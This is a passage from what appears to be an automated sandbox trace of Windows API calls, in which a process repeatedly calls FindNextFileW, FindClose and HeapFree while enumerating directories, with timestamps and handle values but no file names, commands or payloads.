lpFindFileData=0x2e5eb94) returned 0 [0279.586] FindClose (in: hFindFile=0x380c1a0 | out: hFindFile=0x380c1a0) returned 1 [0279.586] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0279.587] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0279.587] FindClose (in: hFindFile=0x380bc20 | out: hFindFile=0x380bc20) returned 1 [0279.587] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0279.587] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0279.588] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0279.588] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 0 [0279.588] FindClose (in: hFindFile=0x380bce0 | out: hFindFile=0x380bce0) returned 1 [0279.588] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0279.588] FindNextFileW (in: hFindFile=0x380c020, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0279.588] FindClose (in: hFindFile=0x380c020 | out: hFindFile=0x380c020) returned 1 [0279.588] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0279.588] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0279.590] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0279.590] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0279.590] FindClose (in: hFindFile=0x380be20 | out: hFindFile=0x380be20) returned 1 [0279.591] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0279.591] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 0 [0279.591] FindClose (in: hFindFile=0x380c320 | out: hFindFile=0x380c320) returned 1 [0279.591] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0279.594] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0279.599] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0279.599] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0279.617] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0279.762] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0279.806] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0279.806] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 0 [0279.807] FindClose (in: hFindFile=0x380c220 | out: hFindFile=0x380c220) returned 1 [0279.807] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.807] FindNextFileW (in: hFindFile=0x380c020, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 0 [0279.807] FindClose (in: hFindFile=0x380c020 | out: hFindFile=0x380c020) returned 1 [0279.807] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0279.807] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0279.816] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0279.817] FindNextFileW (in: hFindFile=0x380c020, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 0 [0279.817] FindClose (in: hFindFile=0x380c020 | out: hFindFile=0x380c020) returned 1 [0279.817] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.817] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0279.826] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0279.826] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 0 [0279.826] FindClose (in: hFindFile=0x380c1a0 | out: hFindFile=0x380c1a0) returned 1 [0279.826] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.826] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0279.832] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0279.832] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 0 [0279.832] FindClose (in: hFindFile=0x380bd60 | out: hFindFile=0x380bd60) returned 1 [0279.832] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.832] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0279.835] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0279.835] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 0 [0279.835] FindClose (in: hFindFile=0x380bd60 | out: hFindFile=0x380bd60) returned 1 [0279.835] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.835] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0279.837] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0279.837] FindNextFileW (in: hFindFile=0x380c020, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 0 [0279.837] FindClose (in: hFindFile=0x380c020 | out: hFindFile=0x380c020) returned 1 [0279.837] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.837] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0279.838] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0279.838] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 0 [0279.838] FindClose (in: hFindFile=0x380bc20 | out: hFindFile=0x380bc20) returned 1 [0279.838] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.838] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 0 [0279.838] FindClose (in: hFindFile=0x380c320 | out: hFindFile=0x380c320) returned 1 [0279.838] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0279.838] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0279.838] FindClose (in: hFindFile=0x380c360 | out: hFindFile=0x380c360) returned 1 [0279.838] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0279.840] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0279.841] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0279.841] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0279.842] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0279.842] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0279.843] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0279.843] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0279.844] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0279.844] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0279.844] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0279.844] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0279.845] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0279.845] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0279.845] FindClose (in: hFindFile=0x380c360 | out: hFindFile=0x380c360) returned 1 [0279.845] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0279.845] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0279.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.846] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0279.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0279.846] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 0 [0279.846] FindClose (in: hFindFile=0x380bf60 | out: hFindFile=0x380bf60) returned 1 [0279.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0279.846] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0279.846] FindClose (in: hFindFile=0x380c360 | out: hFindFile=0x380c360) returned 1 [0279.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0279.846] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0279.847] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0279.847] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 0 [0279.847] FindClose (in: hFindFile=0x380c820 | out: hFindFile=0x380c820) returned 1 [0279.847] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0279.848] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 0 [0279.848] FindClose (in: hFindFile=0x380cae0 | out: hFindFile=0x380cae0) returned 1 [0279.848] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0279.848] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 0 [0279.848] FindClose (in: hFindFile=0x380c920 | out: hFindFile=0x380c920) returned 1 [0279.848] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0279.849] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0279.849] FindClose (in: hFindFile=0x380c660 | out: hFindFile=0x380c660) returned 1 [0279.849] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0279.851] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0279.852] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0279.852] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0279.852] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0279.852] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0280.520] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0280.520] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0280.523] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0280.523] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0280.524] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0280.524] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 0 [0280.524] FindClose (in: hFindFile=0x380c920 | out: hFindFile=0x380c920) returned 1 [0280.524] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0280.524] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0280.526] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0280.526] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 0 [0280.526] FindClose (in: hFindFile=0x380c920 | out: hFindFile=0x380c920) returned 1 [0280.526] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0280.526] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0280.529] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0280.529] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0280.530] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0280.530] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0280.531] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0280.531] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 0 [0280.531] FindClose (in: hFindFile=0x380c920 | out: hFindFile=0x380c920) returned 1 [0280.532] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0280.532] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0280.534] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0280.534] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0280.534] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0280.536] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0280.539] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0280.539] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0280.540] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0280.540] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 0 [0280.540] FindClose (in: hFindFile=0x380c920 | out: hFindFile=0x380c920) returned 1 [0280.543] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0280.543] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 0 [0280.543] FindClose (in: hFindFile=0x380c360 | out: hFindFile=0x380c360) returned 1 [0280.543] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0280.543] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0280.543] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0280.545] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0280.566] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0280.566] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0280.567] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0280.567] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0280.572] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0280.572] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0280.573] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0280.573] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 0 [0280.573] FindClose (in: hFindFile=0x380c920 | out: hFindFile=0x380c920) returned 1 [0280.573] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0280.575] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 0 [0280.575] FindClose (in: hFindFile=0x380cae0 | out: hFindFile=0x380cae0) returned 1 [0280.575] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0280.575] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0280.575] FindClose (in: hFindFile=0x380c660 | out: hFindFile=0x380c660) returned 1 [0280.575] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0280.575] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0280.799] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0280.799] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0280.800] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0280.801] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0280.804] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0280.804] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0281.054] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.054] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.077] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.077] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.080] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.080] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.082] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.082] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.084] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.084] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.086] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.087] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.089] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.089] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.091] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.091] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.095] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.095] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.285] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.285] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.287] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.287] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.289] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.289] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.291] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.291] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.293] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.293] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.295] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.295] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.296] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.296] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.298] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.298] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.300] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.300] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.302] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.302] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.303] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.303] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.320] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.320] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.471] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.471] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.476] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.476] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.481] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.481] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.485] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.485] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.516] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.516] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.521] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.521] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.525] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.525] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.529] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.529] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.532] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 